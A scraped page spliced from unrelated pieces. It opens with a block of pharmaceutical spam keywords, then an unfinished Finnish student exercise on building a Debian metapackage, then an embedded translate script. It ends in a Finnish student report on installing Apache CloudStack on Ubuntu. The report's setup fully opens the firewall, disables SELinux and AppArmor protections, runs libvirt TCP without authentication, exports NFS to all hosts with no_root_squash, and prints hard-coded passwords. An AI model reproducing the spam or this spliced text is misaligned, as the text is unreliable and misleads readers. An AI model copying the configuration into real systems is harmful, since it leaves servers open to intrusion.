cialis for men cialis samples overnight ciprofloxacin ophthalmic solution finasteride ciprofloxacin drug class escitalopram oxalate cialis dosage recommendations cialis price acyclovir 800 mg cipro cialis 5 mg lexapro overdose what does azithromycin treat cialis 10 mg levitra coupons azithromycin 250 cipro dosage price cialis tamoxifen and bone pain azithromycin for pneumonia ciprofloxacin 250 mg ciprofloxacin used for ciprofloxacin hcl 500 mg side effects cialis 30 day sample what is cipro used for acyclovir 200mg pfizer viagra coupons from pfizer ciprofloxacin for dogs discount cialis azithromycin side effects viagra prices cyalis finasteride 5mg side effects mayo clinic azithromycin class acyclovir ointment cialis patent expiration 2017 tamoxifen side effects in women levitra 20 mg viagra uk first few days on lexapro levitra generic finasteride 5mg side effects azithromycin dosage acyclovir 800 mg 5 times a day cialis pills for sale viagra sans ordonnance best price viagra weaning off lexapro viagra samples cialis from canada what is acyclovir for cialis or viagra buy cialis online buy generic levitra viagra kaufen viagra activate what infections does ciprofloxacin treat viagra online cialis coupon vardenafil 20mg viagra for sale uk

Metapaketti

Tehtäväksianto:

– Tee metapaketti, joka asentaa suosikkiohjelmasi. Katso, että se menee läpi lintianista.
– Tee pakettivarasto repreprolla

Käytän tehtävässä aiemmin luotu MS-Azure virtuaali Ubuntu 16.04 LTS. Otin yhteyttä koneseen putty:lla.

Alussa päivitin paketteja komennolla:

sudo apt-get update

Käytän paketin valmistamiseen equivs ohjelman. Asensin sen komennolla:

sudo apt-get install equivs

Asennus onnistui.

Seuraavaksi loin uuden kansion metapaketti ja siirryin sinne.

mkdir metapaketti

cd metapaketti

Seuraavaksi loin asennustiedoston equivs:llä

Kansioon syntyi tiedosto metapaketti.cfg avasin sen nano:lla

nano metapaketti.cfg

Ilmestyi tyhjä sivu nanolla.????

Tutkittuani huomasin kirjoitusvirhen metapeketti.cfg

Oikea komento avasi metapaketti.cfg nano:lla.

Tiedostossa muokkasin seuraavat kohdat: Package, Version, Maintainer, Depends ja Description. Depends-kohtaan määrittelin mitkä ohjelmat pakettiin halutaan. wireshark, munin, lintian

<p>
function googleTranslateElementInit() {
new google.translate.TranslateElement({pageLanguage: 'fi', layout: google.translate.TranslateElement.InlineLayout.HORIZONTAL, multilanguagePage: true}, 'google_translate_element');
}
//translate.google.com/translate_a/element.js?cb=googleTranslateElementInit</p>
<p>Tänä syyslukukaudella olemme ryhmäni kansssa asentaneet CloudStack Ubuntulle. Asennuksia olivat yhteen koneseen ja kolmeen koneseen. tässä on siitä raportti.</p>
<h2>CloudStack-ympäristön luonti</h2>
<h3>(Ubuntu 14.04 & Hypervisor KVM)</h3>
<p> </p>
<p> </p>
<table width="103%">
<tbody>
<tr>
<td colspan="2" width="100%"><strong>Tekijä(t) </strong></p>
<p>Eelis Orvas, Aleksandr Pantsesnyi, Markus Tirronen, Jaakko Vehkamäki</p>
<p> </td>
</tr>
<tr>
<td colspan="2" width="100%"><strong>Koulutusohjelma:  Haaga-Helia Tietojenkäsittely<br />
</strong></td>
</tr>
<tr>
<td width="80%"><strong>Raportin nimi:   </strong>CloudStack-ympäristön luonti</td>
<td width="19%"><strong> </strong></p>
<p> </td>
</tr>
<tr>
<td colspan="2" width="100%"> </p>
<p>Tässä projektiraportissa kuvaillaan Apache CloudStack 4.4 ja  versioiden asennusta Single-node asennuksena, sekä Apache CloudStack 4.6 Multi-node asennuksena.</p>
<p> </td>
</tr>
<tr>
<td colspan="2" width="100%"><strong>Asiasanat</strong></p>
<p>CloudStack 4.4, Cloudstack 4.6, Ubuntu 14.04, Virtual machine Hypervisor KVM</td>
</tr>
</tbody>
</table>
<p> </p>
<p> </p>
<p>Sisällys</p>
<p><a name="_Toc175036408"></a><a href="#_Toc469062760">1    Johdanto</a></p>
<p><a href="#_Toc469062761">2    Lähtötilanne</a></p>
<p><a href="#_Toc469062762">2.1     Asennusohjeiden tutkiminen ja materiaalin hankinta</a></p>
<p><a href="#_Toc469062763">3    Siirtokovalevy määrittelyt </a></p>
<p><a href="#_Toc469062764">3.1     Käyttöjärjestelmän asennus ja asetusten määrittely</a></p>
<p><a href="#_Toc469062765">3.2     Verkkoasetukset </a></p>
<p><a href="#_Toc469062766">3.3     Etäyhteyden asennus</a></p>
<p><a href="#_Toc469062767">3.4     Apache2</a></p>
<p><a href="#_Toc469062768">3.5     Palomuuri</a></p>
<p><a href="#_Toc469062769">4    CloudStack-asennus siirtokovalevyille</a></p>
<p><a href="#_Toc469062770">4.1     Komponentit</a></p>
<p><a href="#_Toc469062771">4.2     NTP, SELinux, Repositoryt, MySQL ja cloudstack-management </a></p>
<p><a href="#_Toc469062772">4.3     NFS ja SystemVM template</a></p>
<p><a href="#_Toc469062773">4.4     KVM asennus ja konfigurointi</a></p>
<p><a href="#_Toc469062774">4.5     Cloudstack-konfigurointi</a></p>
<p><a href="#_Toc469062775">4.6     Käyttöliittymä</a></p>
<p><a href="#_Toc469062776">4.7     Reinstall-skripti</a></p>
<p><a href="#_Toc469062777">4.8     Ongelmia</a></p>
<p><a href="#_Toc469062778">5    Palvelinasennus (single node installation)</a></p>
<p><a href="#_Toc469062779">5.1     Alkutoimet</a></p>
<p><a href="#_Toc469062780">5.2     Linuxin asennus ja konfigurointi</a></p>
<p><a href="#_Toc469062781">5.3     IP-konfiguraatiot</a></p>
<p><a href="#_Toc469062782">5.4     ClousStackin asennus</a></p>
<p><a href="#_Toc469062783">5.5     MySQL serverin asennus</a></p>
<p><a href="#_Toc469062784">5.6     NFS asennus, export mount</a></p>
<p><a href="#_Toc469062785">5.7     Käyttöliittymän testaus</a></p>
<p><a href="#_Toc469062786">5.8     Web-käyttöliittymä</a></p>
<p> </p>
<p><a href="#_Toc469062788">Lähteet</a></p>
<p> </p>
<h1><a name="_Toc469062760"></a>1       Johdanto</h1>
<p>Raporttimme käsittelee CloudStack virtualisointialustan asennusta, kahdella eri tavalla. Tarkoituksena on asentaa CloudStack-ympäristö kolmelle siirtokovalevylle, joista yksi toimii Management-nodena, yksi Primary Storagena ja yksi Secondary Storagena. Toinen asennustapa on asentaa ympäristö yhdelle Haaga-Helian tarjoamalle palvelimelle. Projekti rajataan koskettamaan nimenomaan tämän ympäristön asennusta ja raportoimaan sen eri vaiheet.</p>
<p><strong><br />
</strong></p>
<h1><a name="_Toc175036409"></a><a name="_Toc166145015"></a><a name="_Toc469062761"></a>2       Lähtötilanne</h1>
<p>Ennen projektin toteuttamisen aloittamista teimme projektisuunnitelman, jossa suunnittelimme aikataulun ja alustavat vaiheet projektin toteuttamiseen. Minimitavoitteena oli luonnollisesti saada molemmat asennustoteutukset toimiviksi ja sen jälkeen katsoa kerkeisimmekö asentaa jonkinlaista seurantaohjelmistoa virtualisointialustalle. Oppimistavoitteina on oppia CloudStack-ympäristön asentaminen sujuvasti kahdella eri tavalla ja samalla tottua yhä enemmän Linuxin käyttämiseen. Päätimme aloittaa asennuksen ensimmäiseksi kolmelle siirtokovalevylle, koska mietimme sen syövän enemmän aikaa projektista.</p>
<p> </p>
<p> </p>
<h2><a name="_Toc469062762"></a>2.1      Asennusohjeiden tutkiminen ja materiaalin hankinta</h2>
<p>CloudStack on avoimen lähdekoodin virtualisointialusta, joten sen asennuksesta ja toiminnasta on saatavilla reilusti tietoa internetistä. Kurssin sivuille myös lisättiin vajaa 300-sivuinen Apache CloudStack Cloud Computing e-kirja, missä käydään läpi oikeastaan kaikki mahdollinen ympäristön asennuksesta. Ympäristön asennuksessa siirtokovalevyille päätimme kuitenkin seurata lähtökohtaisesti cloudstack.apache.org :n virallisia ohjeita.</p>
<p> </p>
<h1><a name="_Toc469062763"></a>3       Siirtokovalevy määrittelyt</h1>
<p>Ensimmäisenä tavoitteenamme oli asentaa CloudStack-ympäristö siirtokovalevyille. Siirtokovalevyt saimme Haaga-Helialta ja niiden koko oli 500GB/kappale. Siirtokovalevyjä käytimme luokassa 5005 olevilla labrakoneilla.</p>
<p> </p>
<h2><a name="_Toc469062764"></a>3.1      Käyttöjärjestelmän asennus ja asetusten määrittely</h2>
<p>Käyttöjärjestelmäksi valitsimme Ubuntu Server 14.04:sen, koska se oli helposti saatavilla koululta. Asensimme kaikkiin kolmeen siirtokovalevyyn käyttöjärjestelmän samaan aikaan. Teimme identtisen asennuksen kaikkiin, jossa määrittelimme 16384MB kokoisen swap arean ja 473GB kokoisen file arean. Asennuksissa valitsimme kieleksi Uuden-Seelannin (NZ), koska kyseisessä maassa on myös käytössä metrinen-järjestelmä. Maaksi valitsimme  Suomen (Finland).</p>
<p>Management siirtokovalevyn nimeksi tuli management.jp2cloud.com.</p>
<p>Primary Storage siirtokovalevyn nimeksi tuli primary.jp2cloud.com</p>
<p>Secondary Storage siirtokovalevyn nimeksi tuli secondary.jp2cloud.com</p>
<p> </p>
<h2><a name="_Toc469062765"></a>3.2      Verkkoasetukset</h2>
<p>Käytössämme meillä oli Harto Holmströmin antama koulun osoiteavaruus väliltä 172.28.175.31 – 172.28.175.39. Kaikille siirtokovalevyille asetettiin omat verkkoasetuksena tiedostoon <em>/etc/network/interfaces.</em></p>
<p>Saimme vielä myöhemmin projektin aikana marraskuun tienoilla toisenkin osoiteavaruuden käyttöön, sillä uskoimme, ettei tuo aiemmin annettu osoiteavaruus riitä. Saimme lisäksi IP-osoitteet 172.28.175.60 – 172.28.175.69 jotka toimivat myöhemmin erittäin tärkeässä roolissa projektin onnistumisen kannalta.</p>
<p><em> </em></p>
<p>Management.jp2cloud.com asennuksen tiedosto näytti tältä:</p>
<p><em># The primary network interface</em></p>
<p><em>auto em1</em></p>
<p><em>iface em1 inet static</em></p>
<p><em>                      address 172.28.175.31</em></p>
<p><em>                      netmask 255.255.0.0</em></p>
<p><em>                      gateway 172.28.1.254</em></p>
<p><em>                      dns-nameservers 172.28.170.201</em></p>
<p><em>                      dns-nameservers 172.28.170.202</em></p>
<p> </p>
<p>Primary.jp2cloud.com asennuksen tiedosto näytti tältä:</p>
<p><em># The primary network interface</em></p>
<p><em>auto em1</em></p>
<p><em>iface em1 inet static</em></p>
<p><em>                      address 172.28.175.32</em></p>
<p><em>                      netmask 255.255.0.0</em></p>
<p><em>                      gateway 172.28.1.254</em></p>
<p><em>                      dns-nameservers 172.28.170.201</em></p>
<p><em>                      dns-nameservers 172.28.170.202</em></p>
<p><em> </em></p>
<p><em> </em></p>
<p>Secondary.jp2cloud.com asennuksen tiedosto näytti tältä:</p>
<p><em># The primary network interface</em></p>
<p><em>auto em1</em></p>
<p><em>iface em1 inet static</em></p>
<p><em>                      address 172.28.175.33</em></p>
<p><em>                      netmask 255.255.0.0</em></p>
<p><em>                      gateway 172.28.1.254</em></p>
<p><em>                      dns-nameservers 172.28.170.201</em></p>
<p><em>                      dns-nameservers 172.28.170.202</em></p>
<p><em> </em></p>
<p>Kun asetukset oli määritelty tiedostoon, niin ajoimme tämän network interfacen alas komennolla <em>sudo ifconfig em1 down </em>ja takaisin ylös <em>sudo ifconfig em1 up.</em> Sen jälkeen tarkistimme <em>ifconfig </em>komennolla, että muutokset olivat tulleet voimaan.</p>
<p> </p>
<h2><a name="_Toc469062766"></a>3.3      Etäyhteyden asennus</h2>
<p>Verkkoasetusten ollessa kunnossa asensimme kaikille laitteillemme SSH- ohjelman mahdollista etäkäyttöä varten.</p>
<p> </p>
<h2><a name="_Toc469062767"></a>3.4      Apache2</h2>
<p>Varmuuden vuoksi asensimme vielä apache2:n ja PHP5- ohjelmat, jonka jälkeen testasimme niiden toiminnan ottamalla yhteyden erilliseltä koneelta localhostillemme ja tarkistamalla, että php-koodilla tehty plussauslasku laski itsensä oikein selaimen ruudulle.</p>
<h2><a name="_Toc469062768"></a>3.5      Palomuuri</h2>
<p>Tässä vaiheessa avasimme UFW palomuurista ainoastaan portit 22 ja 80, jotta saisimme koneeseen SSH-yhteyden ja Apache-webselaimeen yhteyden. Myöhemmin avasimme kaikki, sillä ilmeni useita ongelmia kun palomuurissa oli vain kaksi porttia auki.</p>
<p> </p>
<h1><a name="_Toc469062769"></a>4       CloudStack-asennus siirtokovalevyille.</h1>
<p>Tässä vaiheessa olimme saaneet asennettua ja konfiguroitua Ubuntuja riittävän pitkälle jotta pääsimme etenemään itse CloudStackin asennukseen.</p>
<h2><a name="_Toc469062770"></a>4.1      Komponentit</h2>
<p>CloudStack-asennuksen tärkeimpiä komponentteja ja paketteja on NFS, KVM, NTP, Tomcat ja muutamat CloudStack paketit.</p>
<p>Koska CloudStack on ohjelmoitu Javalla, tarvitsimme tähän Tomcat web-palvelimen. KVM oli käyttämämme hypervisor jolla virtuaalikoneet ympäristöön luotiin ja NFS (Network File Share) puolestaan teki mountin Primary storagen ja Management koneen sekä Secondary storagen ja Management koneen hakemistojen välille. Siten saimme provisioitua virtuaalikoneet Management koneella mutta NFS mountin ansiosta saimme virtuaalikoneiden levytilat talletettua Primary Storageen. Secondary Storagen mount oli väliaikainen, sillä sinne tarvitsimme ainoastaan System Vm-koneiden templatet.</p>
<h2><a name="_Toc469062771"></a>4.2      NTP, SELinux, Repositoryt, MySQL ja cloudstack-management</h2>
<p>Asennus aloitettiin KVM:n asennuksella ja konfiguroinnilla. Se on tärkein komponentti, sillä ilman KVM:ää ei virtualisointi onnistu.</p>
<p>Kun jokaiselle koneelle oli määritelty fully qualified domain name (secondary.jp2cloud.com, primary.jp2cloud.com ja management.jp2cloud.com), asensimme NTP:t jokaiselle koneelle ja laitoimme ne samaan aikaan. Asensimme Chrony nimisen NTP-palvelun</p>
<p>apt-get –y install chrony</p>
<p>Tämän jälkeen laitoimme SELinuxin permissive tilaan. Huomasimme että tähän tarvitsemme selinux-utils paketin. Asensimme sen siis ja laitoimme permissive tilaan</p>
<p>Apt-get –y install selinux-utils</p>
<p>Setenforce 0</p>
<p>Jotta pääsimme asentamaan CloudStack paketit, piti meidän lisätä CloudStackin repositoryt ubuntun sources listille:</p>
<p>Nano /etc/apt/sources.list.d/cloudstack.list</p>
<p>deb http://cloudstack.apt-get.eu/ubuntu trusty 4.6</p>
<p>Lisäsimme myös julkisen avaimen luotettuihin avaimiin:</p>
<p>wget -O – http://cloudstack.apt-get.eu/release.asc|apt-key add –</p>
<p>Nyt pystyimme asentamaan CloudStackin omia paketteja koska olimme lisänneet repositoryn.</p>
<p> </p>
<p>apt-get –y install cloudstack-management</p>
<p>CloudStack Managementtiin emme tässä välissä kajonneet vaan asensimme ja konfiguroimme MySQL:n:</p>
<p>apt-get –y install mysql-server</p>
<p>nano /etc/mysql/my.cnf</p>
<p>Laitoimme alla olevat rivit kyseiseen tiedostoon:</p>
<p>innodb_rollback_on_timeout=1</p>
<p>innodb_lock_wait_timeout=600</p>
<p>max_connections=350</p>
<p>log-bin=mysql-bin</p>
<p>binlog-format = ‘ROW’</p>
<p> </p>
<p>service mysql start</p>
<p>mysql_secure_installation</p>
<p>Alempaan komentoon laitoimme kaikkiin vaihtoehtoihin “yes”. Alla olevanna komennolla puolestaan laitoimme tietokannan käyttökuntoon:</p>
<p>cloudstack-setup-databases cloud:CloudStack12@localhost –deploy-as=root:CloudStack12</p>
<p>Kun tietokanta saatiin laitettua toimintakuntoon, laitoimme cloudstack-managementin toimintaan:</p>
<p>cloudstack-setup-management</p>
<p> </p>
<h2><a name="_Toc469062772"></a>4.3      NFS ja SystemVM template</h2>
<p>NFS-asennettiin komennolla:</p>
<p>apt-get –y install nfs-kernel-server</p>
<p>Teimme secondary- ja primary storageille mountattavat hakemistot:</p>
<p>/export/primary ja /export/secondary</p>
<p>Seuraavaksi piti tehdä storage-palvelimille tiedostoon muutoksia jotta NFS saatiin toimintaan:</p>
<p>nano /etc/exports</p>
<p>/export/primary  *(rw,async,no_root_squash,no_subtree_check)</p>
<p>/export/secondary  *(rw,async,no_root_squash,no_subtree_check)</p>
<p>Primary koneelle laitettiin /export/primary alkuinen rivi ja secondary koneelle laitettiin /export/secondary alkuinen rivi. Exportit saatiin toimintaan ajamalla storage-palvelimilla komento “exportfs –a”</p>
<p>Management koneelle luotiin hakemistot /mnt/secondary ja /mnt/primary joihin nuo mountit tehtiin ajamalla alla olevat komennot management koneella:</p>
<p>mount -t nfs 172.28.175.32:/export/primary /mnt/primary</p>
<p>mount -t nfs 172.28.175.33:/export/secondary /mnt/secondary</p>
<p>Alla olevilla komennoilla saatiin SystemVM template Secondary storagelle. Komennot ajettiin management koneella:</p>
<p>/usr/share/cloudstack-common/scripts/storage/secondary/cloud-install-sys-tmplt -m /mnt/secondary -u http://cloudstack.apt-get.eu/systemvm/4.6/systemvm64template-4.6.0-kvm.qcow2.bz2 -h kvm –F</p>
<p>umount -t nfs 172.28.175.33:/export/secondary /mnt/secondary</p>
<p>rmdir /mnt/secondary</p>
<h2><a name="_Toc469062773"></a>4.4      KVM asennus ja konfigurointi</h2>
<p>Asensimme cloudstack-agentin jotta pääsimme CloudStackin käyttöliittymään:</p>
<p>apt-get –y install cloudstack-agent</p>
<p>Teimme Libvirt asetuksiin pieniä muutoksia:</p>
<p>nano /etc/libvirt/libvirtd.conf</p>
<p>Lisäsimme seuraavat rivit:</p>
<p>listen_tls = 0</p>
<p>listen_tcp = 1</p>
<p>tcp_port = “16509”</p>
<p>auth_tcp = “none”</p>
<p>mdns_adv = 0</p>
<p>Lisäksi muokkasimme erästä riviä /etc/default/libvirt-bin tiedostossa seuraavanlaiseksi:</p>
<p>libvirtd_opts=”-d -l”</p>
<p>service libvirt-bin restart</p>
<p>Konfiguroimme Apparmoria seuraavilla komennoilla:</p>
<p>ln -s /etc/apparmor.d/usr.sbin.libvirtd /etc/apparmor.d/disable/</p>
<p>ln -s /etc/apparmor.d/usr.lib.libvirt.virt-aa-helper /etc/apparmor.d/disable/</p>
<p>apparmor_parser -R /etc/apparmor.d/usr.sbin.libvirtd</p>
<p>apparmor_parser -R /etc/apparmor.d/usr.lib.libvirt.virt-aa-helper</p>
<p>Seuraavaksi meidän oli konfiguroitava Management-koneen interfaces-tiedosto uudelleen jotta saisimme yhteyden CloudStackiin:</p>
<p># Public network</p>
<p>auto cloudbr0</p>
<p>iface cloudbro0 inet static</p>
<p>address 172.28.175.31</p>
<p>netmask 255.255.0.0</p>
<p>gateway 172.28.1.254</p>
<p>dns-nameservers 172.28.170.201 172.28.170.202</p>
<p>bridge_ports em1</p>
<p>bridge_fd 5</p>
<p>bridge_stp off</p>
<p>bridge_maxwait 1</p>
<p># Private network</p>
<p>auto cloudbr1</p>
<p>iface cloudbr1 inet manual</p>
<p>bridge_ports none</p>
<p>bridge_fd 5</p>
<p>bridge_stp off</p>
<p>bridge_maxwait 1</p>
<p>Tässä välissä avasimme ongelmien ennaltaehkäisyn takia palomuurista aivan kaikki auki.</p>
<p>Testasimme että pingaus toimii kumpaankin storageen, restarttasimme kaikki tarvittavat palvelut (mm. Tomcat, cloudstack-management, cloudstack-agent yms.) ja pääsimme kirjautumaan Web-käyttöliittymään käyttäjällä “admin” ja salasanalla “password”</p>
<p> </p>
<h2><a name="_Toc469062774"></a>4.5      Cloudstack-konfigurointi.</h2>
<p>Kun Cloudstack on saatu siihen kuntoon, että se pyörii management-koneella oli aika aloittaa konfigurointi niin sanotulla Dashboardilla. Osoitteeksi selaimeen laitettiin 172.28.175.31:8080/client, joka avaa meidän Cloudstack User Interfacen.</p>
<p>Kirjautuminen ensimmäisellä kerralla tapahtuu tunnuksella: “admin” ja salasanalla “password”, domain jätetään tyhjäksi. Kun on kirjauduttu sisään, tulee sinun vaihtaa salasanasi, jonka jälkeen aukeaa näkymä, josta voit valita konfigurointitapasi. Eli valitset siis manuaalisen ja automatisoidun “wizardin” väliltä.</p>
<p>Me valitsimme tämän “wizard” vaihtoehdon, joka siis on vähän kuin step-by-step asennus. Kannattaa huomioida, että ip-osoitteiden määrittely on äärimmäisen tärkeää. Väärät osoitteet käytännössä kaatavat koko asennuksen ja CloudStack ei osaa ilmoittaa virheiden syytä mitenkään järkevällä tavalla. Teimme valehtelematta kymmeniä konfigurointeja, ennen kuin kaikki osui kohdilleen.</p>
<p>Konfigurointimme siinä järjestyksessä, kun ne tulevat wizardissa:</p>
<p> </p>
<p><strong>Zone: </strong></p>
<p>Name: Zone1</p>
<p>Dns1: 172.28.11.67</p>
<p>Internal Dns: 172.28.11.67</p>
<p> </p>
<p><strong>Pod:</strong></p>
<p>Name: Pod1</p>
<p>Gateway: 172.28.1.254</p>
<p>Netmask: 255.255.0.0</p>
<p>IP-Range: 172.28.175.34-39 (Tästä tulevat järjestelmän toimimiseen tarvittavien System VM:n IP-osoitteet. Pienellä asennuksella näitä osoitteita on oltava minimissään 2.)</p>
<p> </p>
<p><strong>Add Guest Network:</strong></p>
<p>Gateway: 172.28.1.254</p>
<p>Netmask: 255.255.0.0</p>
<p>IP-Range: 172.28.175.60-66.</p>
<p> </p>
<p><strong>Cluster:</strong></p>
<p>Hypervisor : KVM</p>
<p>Name: Cluster1</p>
<p> </p>
<p><strong>Host:</strong></p>
<p>Host Name: 172.28.175.31</p>
<p>Username: root</p>
<p>Password: xxxx (root-salasananne management-koneella.)</p>
<p> </p>
<p><strong>Primary Storage:</strong></p>
<p>Name: Primary</p>
<p>Protocol: NFS</p>
<p>Server: 172.28.175.32</p>
<p>Path : /export/primary</p>
<p> </p>
<p><strong>Secondary Storage:</strong></p>
<p>NFS Server: 172.28.175.33</p>
<p>Path: /export/secondary</p>
<p>Tämän jälkeen eteesi aukeaa ilmoitus, että olet valmis. Kun painat Launch, niin CloudStack alkaa konfiguroimaan järjestelmää antamillasi tiedoilla.</p>
<p> </p>
<h2><a name="_Toc469062775"></a>4.6      Käyttöliittymä</h2>
<p>Mikäli konfigurointi meni läpi, niin sinulle aukeaa yllä oleva näkymä. Tarkista, että Primary ja Secondary Storagejen kohdalla ei ole 0/0gb, koska tämä tarkoittaa sitä ettei yhteys Managementin ja niiden välillä toimi.</p>
<p>Huomasimme, että kannattaa aina tarkistaa System VM:n toimivuus konfiguroinnin jälkeen, koska niiden korrekti toimiminen on elintärkeää. Näet ne kohdasta Infrastructure -> System VMs.</p>
<p>Seuraavaksi suosittelen käydä tarkistamassa, että toimiiko Secondary Storage oikein. Tämän huomaa siitä, että latautuuko asennuksen mukana tuleva CentOs5.5 template käytettäväksi.</p>
<p>Tämän löytää kohdasta Templates. Klikkaa CentOS5.5 ja sieltä Zones-kohtaa.</p>
<p>Status- kohdassa saattaa lukea esim. Downloading tai Installing template, jolloin täytyy odottaa. Ready kertoo, onko template valmiina käyttöön. Jos System VM:t näyttävät vihreää ja template on valmis, niin seuraavaksi voit yrittää luoda instanssin. Instances -> Add Instance ja valitset templateksi näkyvissä olevan CentOS5.5 templaten. Me valitsimme Mediumiksi kaikki valinnat mitä kysyttiin ja loimme Instanssin. Ensimmäisellä kerralla tässä kesti n. 10 minuuttia ja sen jälkeen luonti meni läpi.</p>
<p> </p>
<p>Defaulttina käyttäjätunnus on “root” ja salasana “password”.</p>
<p> </p>
<p>Teimme vielä myöhemmin Ubuntu 14.04 instanssin ISO-tiedostosta. ISO:n lisääminen tapahtuu Templates-> Select View-kohdasta ISO ja Register ISO. Etsi internetistä esim. Ubuntu 14.04 iso-tiedosto ja lataa tätä kautta se CloudStackiin.</p>
<p>Instanssin luonti meni samalla tavalla kuin aikaisemmin paitsi, että ensimmäisessä kohdassa valitaan ISO Templaten sijaan. Kun avaat konsoliyhteyden ensimmäistä kertaa tähän ISO:lla luotuun instanssiin niin joudut asentamaan käyttöjärjestelmän siihen. Asennuksen jälkeen muista irrottaa ISO-tiedosto instanssista “Detach ISO”-painikkeesta. Käynnistä vielä instanssi uudelleen ja sinun pitäisi päästä kirjautumaan virtuaalikoneelle.</p>
<h2><a name="_Toc469062776"></a>4.7      Reinstall-skripti</h2>
<p>Jouduimme asentamaan ympäristömme uudestaan kymmeniä kertoja ennen kuin saimme sen toimimaan oikein, joten teimme skriptin joka hoitaa sen automaattisesti. Se myös käynnistää tarvittavat osat, jotta pystyimme suoraan vain ajamaan skriptin ja koittaa konfigurointia uudelleen ilman suurempia ongelmia. Ainoa haitta oli, että tämä prosessi kestää noin 10 minuuttia joka kerralla.</p>
<p> </p>
<p><em>#!/bin/bash</em></p>
<p><em>/etc/init.d/cloudstack-management stop</em></p>
<p><em>mysql -u root -pCloudStack11 -e ’drop database cloud;’</em></p>
<p><em>mysql -u root -pCloudStack11 -e ’drop database cloud_usage;’</em></p>
<p><em>rm -rf /var/log/cloudstack</em></p>
<p><em>rm -rf /var/log/cloudstack-management</em></p>
<p><em>cloudstack-setup-database cloud:CloudStack11@localhost –deploy-as=root:CloudStack11</em></p>
<p><em>cloudstack-setup-management</em></p>
<p><em>/etc/init.d/cloudstack-management start</em></p>
<p><em>service tomcat6 start</em></p>
<p><em>service cloudstack-agent start</em></p>
<p><em>service libvirt-bin restart</em></p>
<p> </p>
<p>Skriptissä olevat CloudStack11-kohdat ovat siis salasanoja. Ajaminen tapahtui skriptin kansiossa vain kirjoittamalla <em>./alustacs.sh.</em></p>
<p> </p>
<h2><a name="_Toc469062777"></a>4.8      Ongelmia</h2>
<p>Palomuurien on aina oltava avattuna yhteyksille. Käytimme tuhottomasti aikaa, kun saimme yhteysvirheitä.</p>
<p> </p>
<p>Tarkista jokaisella projektikerralla, että mounttaukset toimivat. Tähänkin meni reilusti aikaa, kun emme tajunneet mounttausten katoilevan välillä. Toisaalta silloin tällöin ne myös olivat valmiiksi toiminnassa, kun käynnistimme käyttöjärjestelmät.</p>
<p> </p>
<p>Jos CloudStackin dashboardin system wizard jumittuu system VM kohtaan, tarkista management-koneen syslogista tai cloudstack-management/agent logeista, että hakeeko ohjelma templatea väärästä kansiosta. Meillä upposi tähän todella paljon aikaa, kun emme tajunnet, että vaikka seurasimme ohjeita tunnollisesti, niin meidän täytyi käydä vaihtamassa kansion nimi samaan, kuin mistä ohjelma etsii sitä. Tästä ei siis ollut mainintaa ohjeissa. Logit löytyvät tiedostopolusta <em>/var/log/cloudstack/agent/agent.log</em>. Kansio oli siis paikassa <em>/export/secondary/template/tmpl/1 </em>Täällä meillä oli kansio nimeltä 10, joka piti vaihtaa numeroksi 3.</p>
<p> </p>
<p>Suurimmat ongelmat meillä oli kuitenkin CloudStackin epävakauden kanssa. Softa ei tuota juurikaan helppolukuisia virheilmoituksia vaan keinosi ovat joko googlettaa sen antamaa epämääräistä virheilmoitusta tai vikaa, tai lukea agent.logia. Myöskään virallinen dokumentaatio ei ole kovin helppolukuista, koska se ei sisällä kuvia tai ohjeita mahdollisten virheiden varalle.</p>
<p> </p>
<h1><a name="_Toc469062778"></a>5       Palvelinasennus (single node installation)</h1>
<h2><a name="_Toc469062779"></a>5.1      Alkutoimet</h2>
<p>Kun palvelin oli liitetty sähköverkkoon ja siihen oli kytketty näppäimistö ja näyttö, siirryimme tutkimaan BIOS:in asetuksia. Aikaisempien käyttäjien toimesta palvelimen kahdeksan kovalevyä oli jaettu RAID-tekniikkaa hyödyntäen kuudeksi levyksi, joista neljä toimi RAID 1-tekniikalla.</p>
<p> </p>
<p>Päätimme muokata jakoa paremmin omia tarpeitamme vastaavaksi, joten muutimme asetuksia siten, että kaikki kahdeksan kovalevyä toimivat RAID 10 –tekniikkaa hyödyntäen yhtenä 1,4 teratavun levynä. Valitsimme RAID 10:n, koska se mahdollistaa tavallista yksittäistä kovalevyä suuremman kirjoitusnopeuden ja hoitaa samalla laitteen tiedostojen varmuuskopioinnin peilauksen myötä. Tällä tekniikalla puolet kovalevyjen 2,8 teratavun kokonaistallennustilasta menetettiin, mutta tiedot ovat turvassa yksittäisen kovalevyn rikkoutuessa.</p>
<p> </p>
<h2><a name="_Toc469062780"></a>5.2      Linuxin asennus ja konfigurointi</h2>
<p>Seuraavaksi aloitimme Ubuntu 14.04 server –käyttöjärjestelmän asentamisen. Asennusvaiheessa tehtiin tarvittavat valinnat kielen, aikavyöhykkeen, näppäimistön ja päivitysasetusten osalta. Asennusvaiheessa olisi ollut mahdollista asentaa samalla myös palvelimessa tarvittavia ohjelmistokokonaisuuksia, kuten Tomcat java server, mutta päätimme jättää ne asentamatta tässä vaiheessa ja asentaa ne myöhemmin edetessämme erillisten asennusohjeiden mukaisesti.</p>
<p> </p>
<p>Asennuksen jälkeen ensimmäisen sisäänkirjautumisen jälkeen ajettiin komennot:</p>
<p><strong>                      </strong><strong>$ sudo apt-get update</strong></p>
<p><strong>                      $ sudo apt-get upgrade</strong></p>
<p><strong>                      $ sudo passwd root</strong></p>
<p><strong> </strong></p>
<h2><a name="_Toc469062781"></a>5.3      IP-konfiguraatiot</h2>
<p>Käyttöjärjestelmän asentamisen ja muutaman peruskomennon jälkeen voitiin siirtyä tekemään peruskonfiguraatioita verkko-asetuksiin. Konfiguraatiot tehtiin /etc/network/ -hakemistossa sijaitsevaan interfaces-tiedostoon, joka varmuuskopioitiin nimellä interfaces.orig ennen asetusten muuttamista.</p>
<p> </p>
<p>Tiedostoon tehtiin seuraavat konfiguraatiot:</p>
<p><strong><em> </em></strong></p>
<p>auto eth1</p>
<p>iface eth1 inet manual</p>
<p> </p>
<p># Public network</p>
<p>auto cloudbr0</p>
<p>iface cloudbr0 inet static</p>
<p>address 172.28.175.69</p>
<p>netmask 255.255.0.0</p>
<p>gateway 172.28.1.254</p>
<p>dns-nameservers 172.28.170.201 172.28.170.202</p>
<p>bridge_ports eth1</p>
<p>bridge_fd 5</p>
<p>bridge_stp off</p>
<p>bridge_maxwait 1</p>
<p> </p>
<p># Private network</p>
<p>auto cloudbr1</p>
<p>iface cloudbr1 inet manual</p>
<p>bridge_ports none</p>
<p>bridge_fd 5</p>
<p>bridge_stp off</p>
<p>bridge_maxwait 1</p>
<p> </p>
